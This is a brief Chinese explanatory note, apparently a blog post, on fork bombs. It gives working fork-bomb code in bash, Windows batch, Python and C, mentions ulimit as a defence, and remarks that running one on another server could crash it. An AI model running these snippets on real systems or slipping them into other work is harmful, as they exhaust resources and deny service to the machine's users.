fork炸弹是递归的经典案例,可以迅速的把系统资源耗尽
bash 版本
:(){ :|:&};:
本质上就是
function_name()
{
function_name | func_name &
};
function_name
ms batch版本
:s
start "" %0
goto s
python版本
import os
while True:
os.fork()
c语言版本:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
炸弹一旦开启,很难停止,可以通过ulimit设定进程的个数,从而避免fork炸弹,若果把该脚本传到别的服务器上并触发他,服务器就可能挂掉。
参考文献:
http://en.wikipedia.org/wiki/Fork_bomb